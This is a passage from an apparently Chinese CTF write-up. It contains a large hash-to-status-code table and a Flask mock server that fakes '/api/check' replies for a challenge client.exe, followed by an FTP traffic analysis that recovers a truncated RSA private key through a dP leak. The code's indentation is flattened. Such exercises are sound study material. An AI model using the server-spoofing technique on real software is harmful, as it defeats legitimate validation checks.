{'4f2855d8ca0bc9e5fe44f692defecfa0': '500'}}, {'22': {'26ce223ba04a328330a2b38732d67400': '500'}}, {'22': {'5a3409411227c567de7cb8e6d86d7cb4': '500'}}, {'22': {'b89925ff880378f12864cc58202579af': '500'}}, {'22': {'f7cbfbc7ec5bbc2d56d8d1f50f46018e': '200'}}, {'23': {'0167400eef2f00e5dafd7644fb3e3d6d': '500'}}, {'23': {'b83b1916ca1cc17552e24ee98cd4518c': '500'}}, {'23': {'cec5d1f92cef379ce26c8e357c4ceb70': '500'}}, {'23': {'df06be27f001e1ccc23b6bac62b76bb8': '500'}}, {'23': {'cf9a2ec2ed360217d8d972da9a73b4b1': '500'}}, {'23': {'06adf343c2d384a7331f00c0c55809ed': '500'}}, {'23': {'6699773c1e813784c53844e1c26b1733': '500'}}, {'23': {'0ce48ad5c646c116691c4451c17dc5a1': '500'}}, {'23': {'6a9a485d4030f9b5558a0c8deb8f77af': '500'}}, {'23': {'0bcb6ffbec5cc87e21cf2139f88e9925': '500'}}, {'23': {'b1c44d950c13191a3808ec76213e2d24': '500'}}, {'23': {'673c781b6772ab7a23674f36593a1ac1': '500'}}, {'23': {'113d16862ee604a9811551bce0c7c490': '500'}}, {'23': {'99b87df1c1386e3f86ba7971c041d933': '200'}}, {'24': {'0167400eef2f00e5dafd7644fb3e3d6d': '500'}}, {'24': {'b83b1916ca1cc17552e24ee98cd4518c': '500'}}, {'24': {'cec5d1f92cef379ce26c8e357c4ceb70': '500'}}, {'24': {'df06be27f001e1ccc23b6bac62b76bb8': '500'}}, {'24': {'cf9a2ec2ed360217d8d972da9a73b4b1': '500'}}, {'24': {'06adf343c2d384a7331f00c0c55809ed': '500'}}, {'24': {'6699773c1e813784c53844e1c26b1733': '500'}}, {'24': {'0ce48ad5c646c116691c4451c17dc5a1': '500'}}, {'24': {'6a9a485d4030f9b5558a0c8deb8f77af': '500'}}, {'24': {'0bcb6ffbec5cc87e21cf2139f88e9925': '500'}}, {'24': {'b1c44d950c13191a3808ec76213e2d24': '500'}}, {'24': {'673c781b6772ab7a23674f36593a1ac1': '500'}}, {'24': {'113d16862ee604a9811551bce0c7c490': '500'}}, {'24': {'99b87df1c1386e3f86ba7971c041d933': '500'}}, {'24': {'062352b5435df2f54d41597ad44cf13e': '500'}}, {'24': {'c855c482bf3d5954b6a997127ec1ee94': '500'}}, {'24': {'401cd362359df071260aebf71836d52b': '500'}}, {'24': {'6ec38b6e5e2e62e31015956780cdc5b6': '500'}}, {'24': {'693325d01d8f376c0aa59f2438cd147a': '500'}}, {'24': {'deacdfd6851d72a267f180c269b2578f': '500'}}, {'24': {'efe115fd1235940252113df4a7d00aee': '500'}}, {'24': {'ad8a6adb2196e0e432eda120700a6022': '500'}}, {'24': {'208530224471663cf2a7ad02a80db28d': '500'}}, {'24': {'dadefb8dfc6e229f6a0a4d11e5431085': '500'}}, {'24': {'46db23c2b2efe7f8e7d9ffe4605a4660': '500'}}, {'24': {'b1d18a2f5b6a982883c6728591ca752a': '500'}}, {'24': {'327acfe04c2bdf06fe182c051336fe42': '500'}}, {'24': {'749390ecd8fdb526a21d403c336ff76f': '500'}}, {'24': {'2c59fd9ba8b44eb106bac9379ba8c18e': '500'}}, {'24': {'80ba28c5abee89abe7825b24752c883f': '500'}}, {'24': {'b26e9898be9447069a85d8ee418df985': '500'}}, {'24': {'603d46455bd3c1bfce2f3d1f40006c62': '500'}}, {'24': {'c8e5b12d8205221fcb57700553bc6d1d': '500'}}, {'24': {'5a238d0dbd74be271e70e08697883883': '500'}}, {'24': {'c47e93d8ce347680897b9f8d1e655b3d': '500'}}, {'24': {'ccdc1766c84f74d7376ebc9f13955f15': '500'}}, {'24': {'a79d5e01ceac580f13f98297b25ecfa1': '500'}}, {'24': {'992793ddb406269517ee56b718bd852b': '500'}}, {'24': {'84f0a181277bb584aefccc95c53893eb': '500'}}, {'24': {'b83e7bc066b27a266623ea242c5e97c1': '500'}}, {'24': {'2fb84163fd57517d8c634e24c181185a': '500'}}, {'24': {'9655f71fd39678ecc73b0acd330e1908': '500'}}, {'24': {'625e9ecb22a9e3ef846c944d2eb51482': '500'}}, {'24': {'9732a8c1ee2ac5726d4efa6632c09cf9': '500'}}, {'24': {'a3d278f45936108fb619ddb9a73ee8c0': '500'}}, {'24': {'f288472b37fa6381d1d5df2cc959f7cb': '500'}}, {'24': {'0b4d74254115d12b728a1fa0a02e0b8e': '500'}}, {'24': {'656f0488186619a3078e62362f0ff59a': '500'}}, {'24': {'3fdb45b2c4193be94868dc8937aeaf37': '500'}}, {'24': {'3a008667c35e6d0607999e594a7dc71a': '500'}}, {'24': {'e0b606e18b2ff6699d30a7410fb24e8b': '500'}}, {'24': {'276d47ce4b20547a22b0b830ef12c6da': '500'}}, {'24': {'cc32aa298a593c85f5df37d10b2e8962': '500'}}, {'24': {'d002659ed9981d5b434fc1de217299ac': '500'}}, {'24': {'2d61b93a6ef76fca313e455b7651d7b3': '500'}}, {'24': {'8fa33c27bed861319c6f6830414c3d6b': ''}}, {'200': {'200': '500'}}, {'24': {'965f42b413681152fff54b5680495846': '500'}}, {'24': {'dd5b5cd51050f4318304ab8a2550f0cc': '500'}}, {'24': {'bed5ba395b238c44d19e6334cdb17f2d': '500'}}, {'24': {'e3d0fa9cca0de20a4e98e079dd7c3069': '500'}}, {'24': {'0880a32e51e1523b61cb60bacdd22d5f': '500'}}, {'24': {'caf345e43a3a4c99b71a8e5a67accb9e': '500'}}, {'24': {'9633b2b0980d5a88a9ca4a18a7c546a7': '500'}}, {'24': {'09266dcc374f31e877a68697be029f96': '500'}}, {'24': {'af7e0c2721a40aae5782d8a15db52767': ''}}, {'200': {'200': ''}}, {'200': {'200': '500'}}, {'24': {'dde65aa3955c81ebb5773bb87b56acf2': '200'}}, {'25': {'0167400eef2f00e5dafd7644fb3e3d6d': '500'}}, {'25': {'b83b1916ca1cc17552e24ee98cd4518c': '500'}}, {'25': {'cec5d1f92cef379ce26c8e357c4ceb70': '500'}}, {'25': {'df06be27f001e1ccc23b6bac62b76bb8': '500'}}, {'25': {'cf9a2ec2ed360217d8d972da9a73b4b1': '500'}}, {'25': {'06adf343c2d384a7331f00c0c55809ed': '500'}}, {'25': {'6699773c1e813784c53844e1c26b1733': '500'}}, {'25': {'0ce48ad5c646c116691c4451c17dc5a1': '500'}}, {'25': {'6a9a485d4030f9b5558a0c8deb8f77af': '500'}}, {'25': {'0bcb6ffbec5cc87e21cf2139f88e9925': '500'}}, {'25': {'b1c44d950c13191a3808ec76213e2d24': '500'}}, {'25': {'673c781b6772ab7a23674f36593a1ac1': '500'}}, {'25': {'113d16862ee604a9811551bce0c7c490': '500'}}, {'25': {'99b87df1c1386e3f86ba7971c041d933': '500'}}, {'25': {'062352b5435df2f54d41597ad44cf13e': '500'}}, {'25': {'c855c482bf3d5954b6a997127ec1ee94': '500'}}, {'25': {'401cd362359df071260aebf71836d52b': '500'}}, {'25': {'6ec38b6e5e2e62e31015956780cdc5b6': '500'}}, {'25': {'693325d01d8f376c0aa59f2438cd147a': '500'}}, {'25': {'deacdfd6851d72a267f180c269b2578f': '500'}}, {'25': {'efe115fd1235940252113df4a7d00aee': '500'}}, {'25': {'ad8a6adb2196e0e432eda120700a6022': '200'}}, {'26': {'0167400eef2f00e5dafd7644fb3e3d6d': '500'}}, {'26': {'b83b1916ca1cc17552e24ee98cd4518c': '500'}}, {'26': {'cec5d1f92cef379ce26c8e357c4ceb70': '500'}}, {'26': {'df06be27f001e1ccc23b6bac62b76bb8': '500'}}, {'26': {'cf9a2ec2ed360217d8d972da9a73b4b1': '500'}}, {'26': {'06adf343c2d384a7331f00c0c55809ed': '500'}}, {'26': {'6699773c1e813784c53844e1c26b1733': '500'}}, {'26': {'0ce48ad5c646c116691c4451c17dc5a1': '500'}}, {'26': {'6a9a485d4030f9b5558a0c8deb8f77af': '500'}}, {'26': {'0bcb6ffbec5cc87e21cf2139f88e9925': '500'}}, {'26': {'b1c44d950c13191a3808ec76213e2d24': '500'}}, {'26': {'673c781b6772ab7a23674f36593a1ac1': '500'}}, {'26': {'113d16862ee604a9811551bce0c7c490': '500'}}, {'26': {'99b87df1c1386e3f86ba7971c041d933': '500'}}, {'26': {'062352b5435df2f54d41597ad44cf13e': '500'}}, {'26': {'c855c482bf3d5954b6a997127ec1ee94': '500'}}, {'26': {'401cd362359df071260aebf71836d52b': '500'}}, {'26': {'6ec38b6e5e2e62e31015956780cdc5b6': '500'}}, {'26': {'693325d01d8f376c0aa59f2438cd147a': '500'}}, {'26': {'deacdfd6851d72a267f180c269b2578f': '500'}}, {'26': {'efe115fd1235940252113df4a7d00aee': '500'}}, {'26': {'ad8a6adb2196e0e432eda120700a6022': '500'}}, {'26': {'208530224471663cf2a7ad02a80db28d': '500'}}, {'26': {'dadefb8dfc6e229f6a0a4d11e5431085': '500'}}, {'26': {'46db23c2b2efe7f8e7d9ffe4605a4660': '500'}}, {'26': {'b1d18a2f5b6a982883c6728591ca752a': '500'}}, {'26': {'327acfe04c2bdf06fe182c051336fe42': '500'}}, {'26': {'749390ecd8fdb526a21d403c336ff76f': '500'}}, {'26': {'2c59fd9ba8b44eb106bac9379ba8c18e': '500'}}, {'26': {'80ba28c5abee89abe7825b24752c883f': '500'}}, {'26': {'b26e9898be9447069a85d8ee418df985': '500'}}, {'26': {'603d46455bd3c1bfce2f3d1f40006c62': '500'}}, {'26': {'c8e5b12d8205221fcb57700553bc6d1d': '500'}}, {'26': {'5a238d0dbd74be271e70e08697883883': '500'}}, {'26': {'c47e93d8ce347680897b9f8d1e655b3d': '500'}}, {'26': {'ccdc1766c84f74d7376ebc9f13955f15': '500'}}, {'26': {'a79d5e01ceac580f13f98297b25ecfa1': '500'}}, {'26': {'992793ddb406269517ee56b718bd852b': '500'}}, {'26': {'84f0a181277bb584aefccc95c53893eb': '500'}}, {'26': {'b83e7bc066b27a266623ea242c5e97c1': '500'}}, {'26': {'2fb84163fd57517d8c634e24c181185a': '500'}}, {'26': {'9655f71fd39678ecc73b0acd330e1908': '500'}}, {'26': {'625e9ecb22a9e3ef846c944d2eb51482': '500'}}, {'26': {'9732a8c1ee2ac5726d4efa6632c09cf9': '500'}}, {'26': {'a3d278f45936108fb619ddb9a73ee8c0': '500'}}, {'26': {'f288472b37fa6381d1d5df2cc959f7cb': '500'}}, {'26': {'0b4d74254115d12b728a1fa0a02e0b8e': '500'}}, {'26': {'656f0488186619a3078e62362f0ff59a': '500'}}, {'26': {'3fdb45b2c4193be94868dc8937aeaf37': '500'}}, {'26': {'3a008667c35e6d0607999e594a7dc71a': '500'}}, {'26': {'e0b606e18b2ff6699d30a7410fb24e8b': '500'}}, {'26': {'276d47ce4b20547a22b0b830ef12c6da': '500'}}, {'26': {'cc32aa298a593c85f5df37d10b2e8962': '500'}}, {'26': {'d002659ed9981d5b434fc1de217299ac': '500'}}, {'26': {'2d61b93a6ef76fca313e455b7651d7b3': '500'}}, {'26': {'8fa33c27bed861319c6f6830414c3d6b': '500'}}, {'26': {'965f42b413681152fff54b5680495846': '500'}}, {'26': {'dd5b5cd51050f4318304ab8a2550f0cc': '500'}}, {'26': {'bed5ba395b238c44d19e6334cdb17f2d': '500'}}, {'26': {'e3d0fa9cca0de20a4e98e079dd7c3069': '500'}}, {'26': {'0880a32e51e1523b61cb60bacdd22d5f': '500'}}, {'26': {'caf345e43a3a4c99b71a8e5a67accb9e': '500'}}, {'26': {'9633b2b0980d5a88a9ca4a18a7c546a7': '500'}}, {'26': {'09266dcc374f31e877a68697be029f96': '500'}}, {'26': {'af7e0c2721a40aae5782d8a15db52767': '500'}}, {'26': {'dde65aa3955c81ebb5773bb87b56acf2': '500'}}, {'26': {'4f2855d8ca0bc9e5fe44f692defecfa0': '500'}}, {'26': {'26ce223ba04a328330a2b38732d67400': '500'}}, {'26': {'5a3409411227c567de7cb8e6d86d7cb4': '500'}}, {'26': {'b89925ff880378f12864cc58202579af': '500'}}, {'26': {'f7cbfbc7ec5bbc2d56d8d1f50f46018e': '200'}}, {'27': {'0167400eef2f00e5dafd7644fb3e3d6d': '500'}}, {'27': {'b83b1916ca1cc17552e24ee98cd4518c': '500'}}, {'27': {'cec5d1f92cef379ce26c8e357c4ceb70': '500'}}, {'27': {'df06be27f001e1ccc23b6bac62b76bb8': '500'}}, {'27': {'cf9a2ec2ed360217d8d972da9a73b4b1': '500'}}, {'27': {'06adf343c2d384a7331f00c0c55809ed': '500'}}, {'27': {'6699773c1e813784c53844e1c26b1733': '500'}}, {'27': {'0ce48ad5c646c116691c4451c17dc5a1': '500'}}, {'27': {'6a9a485d4030f9b5558a0c8deb8f77af': '500'}}, {'27': {'0bcb6ffbec5cc87e21cf2139f88e9925': '500'}}, {'27': {'b1c44d950c13191a3808ec76213e2d24': '500'}}, {'27': {'673c781b6772ab7a23674f36593a1ac1': '500'}}, {'27': {'113d16862ee604a9811551bce0c7c490': '500'}}, {'27': {'99b87df1c1386e3f86ba7971c041d933': '500'}}, {'27': {'062352b5435df2f54d41597ad44cf13e': '500'}}, {'27': {'c855c482bf3d5954b6a997127ec1ee94': '500'}}, {'27': {'401cd362359df071260aebf71836d52b': '500'}}, {'27': {'6ec38b6e5e2e62e31015956780cdc5b6': '500'}}, {'27': {'693325d01d8f376c0aa59f2438cd147a': '500'}}, {'27': {'deacdfd6851d72a267f180c269b2578f': '500'}}, {'27': {'efe115fd1235940252113df4a7d00aee': '500'}}, {'27': {'ad8a6adb2196e0e432eda120700a6022': '500'}}, {'27': {'208530224471663cf2a7ad02a80db28d': '200'}}, {'28': {'0167400eef2f00e5dafd7644fb3e3d6d': '500'}}, {'28': {'b83b1916ca1cc17552e24ee98cd4518c': '500'}}, {'28': {'cec5d1f92cef379ce26c8e357c4ceb70': '500'}}, {'28': {'df06be27f001e1ccc23b6bac62b76bb8': '500'}}, {'28': {'cf9a2ec2ed360217d8d972da9a73b4b1': '500'}}, {'28': {'06adf343c2d384a7331f00c0c55809ed': '500'}}, {'28': {'6699773c1e813784c53844e1c26b1733': '500'}}, {'28': {'0ce48ad5c646c116691c4451c17dc5a1': '500'}}, {'28': {'6a9a485d4030f9b5558a0c8deb8f77af': '500'}}, {'28': {'0bcb6ffbec5cc87e21cf2139f88e9925': '500'}}, {'28': {'b1c44d950c13191a3808ec76213e2d24': '500'}}, {'28': {'673c781b6772ab7a23674f36593a1ac1': '500'}}, {'28': {'113d16862ee604a9811551bce0c7c490': '500'}}, {'28': {'99b87df1c1386e3f86ba7971c041d933': '500'}}, {'28': {'062352b5435df2f54d41597ad44cf13e': '500'}}, {'28': {'c855c482bf3d5954b6a997127ec1ee94': '500'}}, {'28': {'401cd362359df071260aebf71836d52b': ''}}, {'200': {'200': ''}}, {'200': {'200': '500'}}, {'28': {'6ec38b6e5e2e62e31015956780cdc5b6': '500'}}, {'28': {'693325d01d8f376c0aa59f2438cd147a': '500'}}, {'28': {'deacdfd6851d72a267f180c269b2578f': '500'}}, {'28': {'efe115fd1235940252113df4a7d00aee': '500'}}, {'28': {'ad8a6adb2196e0e432eda120700a6022': '500'}}, {'28': {'208530224471663cf2a7ad02a80db28d': '500'}}, {'28': {'dadefb8dfc6e229f6a0a4d11e5431085': '500'}}, {'28': {'46db23c2b2efe7f8e7d9ffe4605a4660': '500'}}, {'28': {'b1d18a2f5b6a982883c6728591ca752a': '500'}}, {'28': {'327acfe04c2bdf06fe182c051336fe42': '500'}}, {'28': {'749390ecd8fdb526a21d403c336ff76f': '500'}}, {'28': {'2c59fd9ba8b44eb106bac9379ba8c18e': '500'}}, {'28': {'80ba28c5abee89abe7825b24752c883f': '500'}}, {'28': {'b26e9898be9447069a85d8ee418df985': '500'}}, {'28': {'603d46455bd3c1bfce2f3d1f40006c62': '500'}}, {'28': {'c8e5b12d8205221fcb57700553bc6d1d': '500'}}, {'28': {'5a238d0dbd74be271e70e08697883883': '500'}}, {'28': {'c47e93d8ce347680897b9f8d1e655b3d': '500'}}, {'28': {'ccdc1766c84f74d7376ebc9f13955f15': '500'}}, {'28': {'a79d5e01ceac580f13f98297b25ecfa1': '500'}}, {'28': {'992793ddb406269517ee56b718bd852b': '500'}}, {'28': {'84f0a181277bb584aefccc95c53893eb': '500'}}, {'28': {'b83e7bc066b27a266623ea242c5e97c1': '500'}}, {'28': {'2fb84163fd57517d8c634e24c181185a': '500'}}, {'28': {'9655f71fd39678ecc73b0acd330e1908': '500'}}, {'28': {'625e9ecb22a9e3ef846c944d2eb51482': '500'}}, {'28': {'9732a8c1ee2ac5726d4efa6632c09cf9': '500'}}, {'28': {'a3d278f45936108fb619ddb9a73ee8c0': '500'}}, {'28': {'f288472b37fa6381d1d5df2cc959f7cb': '500'}}, {'28': {'0b4d74254115d12b728a1fa0a02e0b8e': '500'}}, {'28': {'656f0488186619a3078e62362f0ff59a': '500'}}, {'28': {'3fdb45b2c4193be94868dc8937aeaf37': '500'}}, {'28': {'3a008667c35e6d0607999e594a7dc71a': '500'}}, {'28': {'e0b606e18b2ff6699d30a7410fb24e8b': '500'}}, {'28': {'276d47ce4b20547a22b0b830ef12c6da': '500'}}, {'28': {'cc32aa298a593c85f5df37d10b2e8962': '500'}}, {'28': {'d002659ed9981d5b434fc1de217299ac': '500'}}, {'28': {'2d61b93a6ef76fca313e455b7651d7b3': '500'}}, {'28': {'8fa33c27bed861319c6f6830414c3d6b': '500'}}, {'28': {'965f42b413681152fff54b5680495846': '500'}}, {'28': {'dd5b5cd51050f4318304ab8a2550f0cc': '500'}}, {'28': {'bed5ba395b238c44d19e6334cdb17f2d': '500'}}, {'28': {'e3d0fa9cca0de20a4e98e079dd7c3069': '500'}}, {'28': {'0880a32e51e1523b61cb60bacdd22d5f': '500'}}, {'28': {'caf345e43a3a4c99b71a8e5a67accb9e': '500'}}, {'28': {'9633b2b0980d5a88a9ca4a18a7c546a7': '500'}}, {'28': {'09266dcc374f31e877a68697be029f96': '500'}}, {'28': {'af7e0c2721a40aae5782d8a15db52767': '500'}}, {'28': {'dde65aa3955c81ebb5773bb87b56acf2': '500'}}, {'28': {'4f2855d8ca0bc9e5fe44f692defecfa0': '500'}}, {'28': {'26ce223ba04a328330a2b38732d67400': '500'}}, {'28': {'5a3409411227c567de7cb8e6d86d7cb4': '500'}}, {'28': {'b89925ff880378f12864cc58202579af': '500'}}, {'28': {'f7cbfbc7ec5bbc2d56d8d1f50f46018e': '500'}}, {'28': {'719aa677366a11a13d6e0fab7fa94126': '500'}}, {'28': {'acbd15e5a36e317de9d853bf24f892a6': '500'}}, {'28': {'1935c0d84acb890657ceb7749ff30a84': '500'}}, {'28': {'5b0b3aabf1f8130ff2fc2a5d9a154b3f': '500'}}, {'28': {'1b677e57e5b420ed45c45245060500b2': '500'}}, {'28': {'efa87c138fd8a74ceafb49415140a5a9': '500'}}, {'28': {'1c31f3d619908895c04d23a94fb3cdf7': '500'}}, {'28': {'fd4561feb0138817c1940f29c22858db': '500'}}, {'28': {'4816c4bd2975741d6d01a1be192c8bfe': '500'}}, {'28': {'f0c7e4dfc4aaf4fbd9c5ec97c3d041e4': '500'}}, {'28': {'4a78c7229f44396efdc4dcca286c6350': '500'}}, {'28': {'386ff8133c399caa3e00624c52ccbc52': '500'}}, {'28': {'6fdc923c48f7fa5ee4cf9e2b238ea171': '500'}}, {'28': {'fbcee321e49086351a7220aeea572c99': '500'}}, {'28': {'697e250874a271013fa06c87be84d4c5': '500'}}, {'28': {'b906e90c4be2d07fbc1cb13c9f9398b7': '500'}}, {'28': {'68dba9408af41481b762fa7041e9f7d1': '500'}}, {'28': {'1ecc911fe653ab8ce683906b90078ded': '500'}}, {'28': {'9c95feb5fa37f7ed210eb56bda6dc924': '500'}}, {'28': {'d0cba97b871cf2d12c7ad87b7a8d6d14': '500'}}, {'28': {'ed25379f44ac7ced2f0bf43e0bee0bbd': '500'}}, {'28': {'c94e5da62ee1935b71c0e01a67d2655a': '500'}}, {'28': {'28e766f9f14761895276bd6f8924ecf7': '200'}}, {'29': {'0167400eef2f00e5dafd7644fb3e3d6d': '400'}}, {'29': {'b83b1916ca1cc17552e24ee98cd4518c': '400'}}, {'29': {'cec5d1f92cef379ce26c8e357c4ceb70': '400'}}, {'29': {'df06be27f001e1ccc23b6bac62b76bb8': '400'}}, {'29': {'cf9a2ec2ed360217d8d972da9a73b4b1': '400'}}, {'29': {'06adf343c2d384a7331f00c0c55809ed': '400'}}, {'29': {'6699773c1e813784c53844e1c26b1733': '400'}}, {'29': {'0ce48ad5c646c116691c4451c17dc5a1': '400'}}, {'29': {'6a9a485d4030f9b5558a0c8deb8f77af': '400'}}, {'29': {'0bcb6ffbec5cc87e21cf2139f88e9925': '400'}}, {'29': {'b1c44d950c13191a3808ec76213e2d24': '400'}}, {'29': {'673c781b6772ab7a23674f36593a1ac1': '400'}}, {'29': {'113d16862ee604a9811551bce0c7c490': '400'}}, {'29': {'99b87df1c1386e3f86ba7971c041d933': '400'}}, {'29': {'062352b5435df2f54d41597ad44cf13e': '400'}}, {'29': {'c855c482bf3d5954b6a997127ec1ee94': '400'}}, {'29': {'401cd362359df071260aebf71836d52b': '400'}}, {'29': {'6ec38b6e5e2e62e31015956780cdc5b6': '400'}}, {'29': {'693325d01d8f376c0aa59f2438cd147a': '400'}}, {'29': {'deacdfd6851d72a267f180c269b2578f': '400'}}, {'29': {'efe115fd1235940252113df4a7d00aee': '400'}}, {'29': {'ad8a6adb2196e0e432eda120700a6022': '400'}}, {'29': {'208530224471663cf2a7ad02a80db28d': '400'}}, {'29': {'dadefb8dfc6e229f6a0a4d11e5431085': '400'}}, {'29': {'46db23c2b2efe7f8e7d9ffe4605a4660': '400'}}, {'29': {'b1d18a2f5b6a982883c6728591ca752a': '400'}}, {'29': {'327acfe04c2bdf06fe182c051336fe42': '400'}}, {'29': {'749390ecd8fdb526a21d403c336ff76f': '400'}}, {'29': {'2c59fd9ba8b44eb106bac9379ba8c18e': '400'}}, {'29': {'80ba28c5abee89abe7825b24752c883f': '400'}}, {'29': {'b26e9898be9447069a85d8ee418df985': '400'}}, {'29': {'603d46455bd3c1bfce2f3d1f40006c62': '400'}}, {'29': {'c8e5b12d8205221fcb57700553bc6d1d': '400'}}, {'29': {'5a238d0dbd74be271e70e08697883883': '400'}}, {'29': {'c47e93d8ce347680897b9f8d1e655b3d': '400'}}, {'29': {'ccdc1766c84f74d7376ebc9f13955f15': '400'}}, {'29': {'a79d5e01ceac580f13f98297b25ecfa1': '400'}}, {'29': {'992793ddb406269517ee56b718bd852b': '400'}}, {'29': {'84f0a181277bb584aefccc95c53893eb': '400'}}, {'29': {'b83e7bc066b27a266623ea242c5e97c1': '400'}}, {'29': {'2fb84163fd57517d8c634e24c181185a': '400'}}, {'29': {'9655f71fd39678ecc73b0acd330e1908': '400'}}, {'29': {'625e9ecb22a9e3ef846c944d2eb51482': '400'}}, {'29': {'9732a8c1ee2ac5726d4efa6632c09cf9': '400'}}, {'29': {'a3d278f45936108fb619ddb9a73ee8c0': '400'}}, {'29': {'f288472b37fa6381d1d5df2cc959f7cb': '400'}}, {'29': {'0b4d74254115d12b728a1fa0a02e0b8e': '400'}}, {'29': {'656f0488186619a3078e62362f0ff59a': '400'}}, {'29': {'3fdb45b2c4193be94868dc8937aeaf37': '400'}}, {'29': {'3a008667c35e6d0607999e594a7dc71a': '400'}}, {'29': {'e0b606e18b2ff6699d30a7410fb24e8b': '400'}}, {'29': {'276d47ce4b20547a22b0b830ef12c6da': '400'}}, {'29': {'cc32aa298a593c85f5df37d10b2e8962': '400'}}, {'29': {'d002659ed9981d5b434fc1de217299ac': '400'}}, {'29': {'2d61b93a6ef76fca313e455b7651d7b3': '400'}}, {'29': {'8fa33c27bed861319c6f6830414c3d6b': ''}}, {'200': {'200': ''}}, {'200': {'200': '400'}}, {'29': {'965f42b413681152fff54b5680495846': '400'}}, {'29': {'dd5b5cd51050f4318304ab8a2550f0cc': '400'}}, {'29': {'bed5ba395b238c44d19e6334cdb17f2d': '400'}}, {'29': {'e3d0fa9cca0de20a4e98e079dd7c3069': '400'}}, {'29': {'0880a32e51e1523b61cb60bacdd22d5f': '400'}}, {'29': {'caf345e43a3a4c99b71a8e5a67accb9e': '400'}}, {'29': {'9633b2b0980d5a88a9ca4a18a7c546a7': '400'}}, {'29': {'09266dcc374f31e877a68697be029f96': '400'}}, {'29': {'af7e0c2721a40aae5782d8a15db52767': '400'}}, {'29': {'dde65aa3955c81ebb5773bb87b56acf2': '400'}}, {'29': {'4f2855d8ca0bc9e5fe44f692defecfa0': '400'}}, {'29': {'26ce223ba04a328330a2b38732d67400': '400'}}, {'29': {'5a3409411227c567de7cb8e6d86d7cb4': '400'}}, {'29': {'b89925ff880378f12864cc58202579af': '400'}}, {'29': {'f7cbfbc7ec5bbc2d56d8d1f50f46018e': '400'}}, {'29': {'719aa677366a11a13d6e0fab7fa94126': '400'}}, {'29': {'acbd15e5a36e317de9d853bf24f892a6': '400'}}, {'29': {'1935c0d84acb890657ceb7749ff30a84': '400'}}, {'29': {'5b0b3aabf1f8130ff2fc2a5d9a154b3f': '400'}}, {'29': {'1b677e57e5b420ed45c45245060500b2': '400'}}, {'29': {'efa87c138fd8a74ceafb49415140a5a9': '400'}}, {'29': {'1c31f3d619908895c04d23a94fb3cdf7': '400'}}, {'29': {'fd4561feb0138817c1940f29c22858db': '400'}}, {'29': {'4816c4bd2975741d6d01a1be192c8bfe': '400'}}, {'29': {'f0c7e4dfc4aaf4fbd9c5ec97c3d041e4': '400'}}, {'29': {'4a78c7229f44396efdc4dcca286c6350': '400'}}, {'29': {'386ff8133c399caa3e00624c52ccbc52': '400'}}, {'29': {'6fdc923c48f7fa5ee4cf9e2b238ea171': '400'}}, {'29': {'fbcee321e49086351a7220aeea572c99': '400'}}, {'29': {'697e250874a271013fa06c87be84d4c5': '400'}}, {'29': {'b906e90c4be2d07fbc1cb13c9f9398b7': '400'}}, {'29': {'68dba9408af41481b762fa7041e9f7d1': '400'}}, {'29': {'1ecc911fe653ab8ce683906b90078ded': '400'}}, {'29': {'9c95feb5fa37f7ed210eb56bda6dc924': '400'}}, {'29': {'d0cba97b871cf2d12c7ad87b7a8d6d14': '400'}}, {'29': {'ed25379f44ac7ced2f0bf43e0bee0bbd': '400'}}, {'29': {'c94e5da62ee1935b71c0e01a67d2655a': '400'}}, {'29': {'28e766f9f14761895276bd6f8924ecf7': '400'}}, {'29': {'880825c211c56c63276ada87f6b70e3b': '400'}}]


@app.route('/api/check', methods=['POST'])
def get_response():
# 从请求的表单数据中获取传入的position和hash参数
data = request.form
position = data.get('position', None)
request_hash = data.get('hash', None)

# 检查是否提供了position和hash参数
if not position or not request_hash:
return jsonify({'code': 400, 'message': 'Missing position or hash parameter'}), 400

# 根据position找到对应的内部字典
for item in response_list:
nested_dict = item.get(position)
if nested_dict and request_hash in nested_dict:
# 如果找到匹配的哈希值,返回对应的状态码
return jsonify({'code': 200, 'message': nested_dict[request_hash]}), int(nested_dict[request_hash])

# 如果没有找到匹配的哈希值,返回404 Not Found
return jsonify({'code': 404, 'message': 'Hash not found'}), 404


if __name__ == '__main__':
app.run(debug=True)

用题目的client.exe指定我们的模拟服务端即可

7-1737295866

EzMisc

点击下载题文件

分析流量包,发现是FTP传输文件的,共下载了三个文件,分别导出一下

其中私钥是残缺的,但是可以利用DP泄露来求出私钥,从而还原私钥流解密密文

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAs+6Ep8SasbhvIG62iRgAqppC7E6xtM3edPdn654H0IIJcr3T
sis8OO5JcElSHhJkCkT1xtRgHm1zVyPIpzZTPZY3vMgN+xTuDwn7roPrMJ9oYhUE
8Yt3lBGotOyZh7/fSq/hd9IATqmO3gTgBzQFFPKK+NLHhidYYEkbg7Mj2TCaSOZO
Ztka7LsPfjnr2bo/h3MvJAx86REDO2FXvJAhY9A/ViBatq0pGKD/LioHkwafjd2r
xQA3Sjnur8LxOWeM9nNZkZR4DH/kkxHLKxslRePGkOHbLgwIO9bdplhI1ky7gQpC
Q3moi74VPd88jnngyAftGqm2h0Mw2jVZgwz6RQIDAQABAoIBAENuo1aAjv0Fwtfj
xhLw5OcK8wO+pki9Up6BTff2fLU+1q2iyKCgJWysmOc1A0pz1/wlRfrjArbEjBJf
Pca0zFNrZa4hR2QOvvzx39nSZKUPSL5hZD3l58WdLJ3JgexnExbZfWU7VZQlZX59
Uzw/2Zu1HjIMRGxZeHx1SZN84nV1aMj/9FFlpC54ZG0mz33BsmphKnQTYLlINzQl
laL6ZR5N+/3QoIGj+TNIHkUQhFCR9d285FWIUWEmhh9UE8UwFPw+gaDcrOcVpSpT
hAapMbzBuZ8AAAAAAAAAKLpJRp1+1TmSOtj/eO4sxKXOMdEH1weFCzBUogIKK0H6
VJt6DG0CgYEA7oQV+b31O418CJ3ehDlSjFy3+KdxEXpDujgwP5dwbCenHDNEfx0Y
+TzknEC+A/azdn+AhOQyQAE4xGwygb8i2OPC3ZqOhv26yGhv5WZxG2qsQVMCZYD0
+FCmf656TA2rwx6yRf5UtVBecIhSoUkEekxO0lbiBAAAAAAAAAsmadcCgYEAwR8P
IEpv47T1jla9RTQuSby4eSu3OvrN/SkKPVFui/aDUG/OO0fQzGuEq2rthtXuGBna
Qjvyd+PZngYLn8vHKqmuxAlNUivq3rvGwpayRL83Pts02+4fOa/p7TJkdLlQDHxo
La7sn/SiuAAAAAAAAAeFlii6mTG+kUZ98n3IEUMCgYEAlyQaLNSjpqYkV+16CL2u
QoWqiqXIL3QToNhkMpfLRK3n5iXSnN4aai2dDCq2fhqBZHCtRwi3kvlzOHz7kF5H
